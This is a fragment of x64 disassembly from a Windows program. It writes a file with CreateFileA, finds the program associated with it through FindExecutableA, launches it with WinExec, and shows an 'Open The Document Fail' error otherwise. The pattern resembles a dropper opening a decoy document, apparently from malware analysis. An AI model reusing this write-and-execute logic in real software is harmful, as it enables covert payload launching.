mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14006b5ff
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14006f390
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x14006b5e5
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x14006b5ff
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14006b638
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006b633
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006b64d
call fcn.14006d6bc
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140074e38
int3